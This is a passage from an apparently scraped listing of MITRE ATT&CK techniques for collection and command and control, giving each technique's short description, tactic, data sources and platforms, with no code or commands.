Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre